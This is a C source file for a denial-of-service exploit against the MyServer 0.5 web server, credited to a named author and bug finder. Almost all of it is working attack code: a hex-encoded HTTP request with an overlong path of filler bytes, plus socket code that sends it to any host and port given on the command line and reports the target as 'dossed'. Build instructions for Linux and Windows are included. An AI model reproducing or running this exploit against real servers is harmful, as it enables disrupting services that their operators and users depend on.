MyServer-0.5.txt

`/* MyServer 0.5 denial of service */  
/* bug found by badpack3t. */  
/* http://myserverweb.sourceforge.net */  
/* */  
/* $ gcc -o f_ms f_ms-0.5.c (linux version) */  
/* $ gcc -o f_ms f_ms-0.5.c -DWINDOWS (windows version) */  
/* */  
/* $ ./f_ms <hostname/ip> <port> */  
/* */  
/* Federico Fazzi <[email protected]> */  
  
#include <stdio.h>  
#include <string.h>  
#include <stdlib.h>  
  
#if WINDOWS  
#include <winsock.h>  
#pragma comment(lib, "ws2_32.lib")  
#else  
#include <sys/types.h>  
#include <sys/socket.h>  
#include <unistd.h>  
#include <netinet/in.h>  
#include <netdb.h>  
#endif  
  
int usage(char *f);  
  
char f_call[] = "\x47\x45\x54\x20\x2f\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x01\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"  
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x2e"  
"\x68\x74\x6d\x6c\x20\x48\x54\x54\x50\x2f\x31\x2e\x31\x0d\x0a\x52"  
"\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x6c"  
"\x6f\x63\x61\x6c\x68\x6f\x73\x74\x2f\x66\x75\x78\x30\x72\x0d\x0a"  
"\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65\x3a\x20\x61\x70"  
"\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x2d\x77\x77\x77\x2d"  
"\x66\x6f\x72\x6d\x2d\x75\x72\x6c\x65\x6e\x63\x6f\x64\x65\x64\x0d"  
"\x0a\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e\x3a\x20\x4b\x65\x65"  
"\x70\x2d\x41\x6c\x69\x76\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67"  
"\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x34\x2e\x37"  
"\x36\x20\x5b\x65\x6e\x5d\x20\x28\x58\x31\x31\x3b\x20\x55\x3b\x20"  
"\x4c\x69\x6e\x75\x78\x20\x32\x2e\x34\x2e\x32\x2d\x32\x20\x69\x36"  
"\x38\x36\x29\x0d\x0a\x56\x61\x72\x69\x61\x62\x6c\x65\x3a\x20\x72"  
"\x65\x73\x75\x6c\x74\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x6c\x6f\x63"  
"\x61\x6c\x68\x6f\x73\x74\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d"  
"\x6c\x65\x6e\x67\x74\x68\x3a\x20\x35\x31\x33\x0d\x0a\x41\x63\x63"  
"\x65\x70\x74\x3a\x20\x69\x6d\x61\x67\x65\x2f\x67\x69\x66\x2c\x20"  
"\x69\x6d\x61\x67\x65\x2f\x78\x2d\x78\x62\x69\x74\x6d\x61\x70\x2c"  
"\x20\x69\x6d\x61\x67\x65\x2f\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61"  
"\x67\x65\x2f\x70\x6a\x70\x65\x67\x2c\x20\x69\x6d\x61\x67\x65\x2f"  
"\x70\x6e\x67\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f"  
"\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x0d\x0a\x41\x63\x63\x65"  
"\x70\x74\x2d\x43\x68\x61\x72\x73\x65\x74\x3a\x20\x69\x73\x6f\x2d"  
"\x38\x38\x35\x39\x2d\x31\x2c\x2a\x2c\x75\x74\x66\x2d\x38\x0d\x0a"  
"\x0d\x0a\x77\x68\x61\x74\x79\x6f\x75\x74\x79\x70\x65\x64\x3d\x3f"  
"\x0d\x0a";  
  
  
int main(int argc, char *argv[]) {  
  
#if WINDOWS  
WSADATA wsaData;  
WORD wVersionRequested;  
int port;  
int size;  
SOCKET sockfd;  
#else  
int sockfd;  
socklen_t size;  
in_port_t port = atoi(argv[2]);  
#endif  
  
struct sockaddr_in structaddr;  
struct hostent *sockhost;  
char *reply = (char *)malloc(512);  
  
if(argc < 2) usage((char *) basename(argv[0]));  
  
#if WINDOWS  
wVersionRequested = MAKEWORD(1, 1);  
if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;  
#endif  
printf("* MyServer 0.5 denial of service\n\n");  
#if WINDOWS  
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) ==  
INVALID_SOCKET) {  
perror("socket_func");  
exit(1);  
}  
#else  
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) == -1) {  
perror("socket_func");  
exit(1);  
}  
#endif  
  
printf("getting socket.. done!\n");  
  
sockhost = gethostbyname(argv[1]);  
if(sockhost == NULL) herror("gethostbyname_func");  
  
size = sizeof(structaddr);  
memset((void *) &structaddr, 0x00, size);  
bcopy(sockhost->h_addr, &structaddr.sin_addr, sockhost->h_length);  
structaddr.sin_family = AF_INET;  
structaddr.sin_port = htons((u_short)port);  
  
printf("getting connection.. ");  
if(connect(sockfd, (struct sockaddr *) &structaddr, size) == -1) {  
printf("error!\n");  
perror("connect_func");  
exit(1);  
}  
printf("done!\n");  
  
printf("sending exploit in hex format.. ");  
if(write(sockfd, f_call, sizeof(f_call)) == -1) {  
printf("error!\n");  
perror("send_func");  
exit(1);  
}  
printf("done!\n");  
  
printf("target: %s on port %d have been dossed!\n\n",  
sockhost->h_name, port);  
#if WINDOWS  
closesocket(sockfd);  
#else  
close(sockfd);  
#endif  
return(0);  
}  
  
int usage(char *f) {  
  
printf("MyServer 0.5 denial of service\n");  
printf("Federico Fazzi <[email protected]\n\n");  
printf("$ gcc -o %s %s (linux version)\n", f, __FILE__);  
printf("$ gcc -o %s %s -DWINDOWS (windows version\n", f, __FILE__);  
  
return(1);  
}  
`